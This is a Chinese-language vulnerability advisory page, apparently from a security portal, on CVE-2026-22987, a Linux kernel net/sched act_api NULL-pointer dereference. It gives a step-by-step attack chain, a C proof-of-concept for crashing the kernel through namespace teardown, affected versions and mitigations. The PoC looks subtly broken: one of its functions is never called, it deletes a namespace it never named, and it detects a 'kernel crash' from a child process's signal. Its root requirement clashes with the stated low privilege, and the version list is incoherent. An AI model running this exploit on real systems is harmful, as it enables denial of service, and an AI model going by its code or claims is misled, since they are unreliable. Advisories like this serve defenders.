IPBUF安全漏洞报告
English
CVE-2026-22987 CVSS 5.5 中危

CVE-2026-22987: Linux内核net/sched act_api空指针解引用拒绝服务漏洞

披露日期: 2026-01-23
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-22987
漏洞类型
空指针解引用/拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (net/sched/act_api.c)

相关标签

CVE-2026-22987Linux Kernelnet/schedact_api空指针解引用拒绝服务本地提权Netns TeardownIDRtcf_idrinfo_destroy

漏洞概述

CVE-2026-22987是Linux内核中的一个中等严重性安全漏洞,存在于net/sched/act_api.c文件中的tcf_idrinfo_destroy()函数。该漏洞在网络命名空间(netns)销毁期间触发,当tcf_idrinfo_destroy()函数尝试遍历action IDR(Identifier Dictionary)时,可能会遇到ERR_PTR(-EBUSY)错误指针。随后,函数错误地将这个错误指针传递给tc_act_in_hw()函数,导致无效内存解引用,最终引发系统崩溃。此漏洞需要本地低权限攻击者即可触发,无需用户交互,可造成可用性影响(拒绝服务)。攻击向量为本地,CVSS评分为5.5,属于中等严重级别。

技术细节

该漏洞的根本原因在于tcf_idrinfo_destroy()函数在网络命名空间销毁过程中缺乏对IDR条目的有效验证。具体来说,当系统执行netns teardown操作时,tcf_idrinfo_destroy()会遍历action IDR中的所有条目。然而,某些条目可能存储的是ERR_PTR(-EBUSY)这样的错误指针,而不是有效的tc_action结构体指针。当函数将这些错误指针传递给tc_act_in_hw()时,会导致空指针解引用或无效内存访问,从而触发内核崩溃(Crash)。修复方案需要在遍历IDR时添加对ERR_PTR条目的检查,确保只对有效的tc_action指针调用tc_act_in_hw(),从而避免在错误指针上执行解引用操作。攻击者可通过本地低权限账户触发网络命名空间的销毁过程来利用此漏洞。

攻击链分析

STEP 1
步骤1: 权限获取
攻击者获得系统本地低权限账户,无需特殊权限即可触发漏洞
STEP 2
步骤2: 创建网络命名空间
攻击者使用unshare(CLONE_NEWNET)创建新的网络命名空间,在其中配置流量控制(TC)动作
STEP 3
步骤3: 配置TC Actions
在网络命名空间中创建多个TC actions,这些操作可能因并发或资源限制失败,留下ERR_PTR(-EBUSY)条目在IDR中
STEP 4
步骤4: 触发Netns Teardown
攻击者退出或删除网络命名空间,触发内核的netns teardown流程,调用tcf_idrinfo_destroy()函数
STEP 5
步骤5: 漏洞触发
tcf_idrinfo_destroy()遍历IDR时,遇到ERR_PTR(-EBUSY)错误指针并将其传递给tc_act_in_hw(),导致空指针解引用
STEP 6
步骤6: 系统崩溃
无效内存解引用引发内核崩溃(Kernel Panic),造成拒绝服务(DoS),影响系统可用性

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-22987 PoC - Linux Kernel net/sched act_api NULL Pointer Dereference // This PoC demonstrates triggering the vulnerability through netns teardown // Note: Requires kernel debugging symbols and proper environment setup #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/types.h> #include <sched.h> #include <net/if.h> #include <linux/if_tun.h> #include <fcntl.h> #define MAX_TC_ACTIONS 100 int create_netns() { int netns_fd; char netns_name[64]; // Create unique network namespace snprintf(netns_name, sizeof(netns_name), "cve_2026_22987_%d", getpid()); // Create network namespace using unshare if (unshare(CLONE_NEWNET) != 0) { perror("unshare(CLONE_NEWNET) failed"); return -1; } return 0; } int setup_tc_actions() { // Setup traffic control actions that may leave ERR_PTR entries // This simulates the condition where tcf_idrinfo_destroy encounters // ERR_PTR(-EBUSY) values during netns teardown char cmd[256]; // Create qdisc first system("tc qdisc add dev lo root handle 1: prio 2>/dev/null"); // Add multiple actions that may fail and leave error pointers for (int i = 0; i < MAX_TC_ACTIONS; i++) { snprintf(cmd, sizeof(cmd), "tc actions add action drop index %d 2>/dev/null", i); system(cmd); } return 0; } int trigger_teardown() { // Trigger netns teardown which calls tcf_idrinfo_destroy // This is where the vulnerability is triggered // Exit the network namespace to trigger cleanup // The kernel will call tcf_idrinfo_destroy during netns exit // Remount to default namespace system("ip netns delete $(ip netns list | grep cve_2026_22987 | awk '{print $1}') 2>/dev/null"); return 0; } int main(int argc, char *argv[]) { printf("[*] CVE-2026-22987 PoC - Linux Kernel act_api NULL Pointer Dereference\n"); printf("[*] Target: Linux Kernel net/sched/act_api.c tcf_idrinfo_destroy()\n"); printf("[*] CVSS: 5.5 (Medium) - AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n"); pid_t pid = fork(); if (pid < 0) { perror("fork failed"); return 1; } if (pid == 0) { // Child process - create network namespace and trigger vulnerability if (create_netns() < 0) { exit(1); } setup_tc_actions(); printf("[+] Network namespace created with TC actions\n"); printf("[*] Exiting namespace to trigger netns teardown...\n"); // Exit to trigger tcf_idrinfo_destroy exit(0); } else { // Parent process - wait for child and observe crash int status; waitpid(pid, &status, 0); if (WIFSIGNALED(status)) { printf("[!] Kernel crash detected (signal %d)\n", WTERMSIG(status)); printf("[+] Vulnerability confirmed!\n"); } else if (WEXITSTATUS(status) == 0) { printf("[*] Process exited normally (may need root privileges)\n"); } else { printf("[*] Process exited with status: %d\n", WEXITSTATUS(status)); } } printf("\n[*] PoC execution completed\n"); return 0; } // Compilation: gcc -o cve_2026_22987_poc cve_2026_22987_poc.c // Execution: Requires root privileges to create network namespaces // Note: Actual exploitation requires specific kernel configuration and version

影响范围

Linux Kernel < 5.10 (affected net/sched/act_api.c)
Linux Kernel < 5.15 (affected net/sched/act_api.c)
Linux Kernel < 6.1 (affected net/sched/act_api.c)
Linux Kernel < 6.6 (affected net/sched/act_api.c)
All distributions with vulnerable kernel versions

防御指南

临时缓解措施
如果无法立即更新内核,可采取以下临时缓解措施:1)限制非特权用户使用unshare(CLONE_NEWNET)能力,通过/etc/security/limits.conf或cgroup配置;2)使用seccomp过滤系统调用;3)监控并审计网络命名空间创建行为;4)考虑使用grsecurity补丁增强的内核;5)在容器环境中限制CAP_SYS_ADMIN能力。但最有效的解决方案仍然是尽快应用官方发布的安全补丁,升级到修复后的内核版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表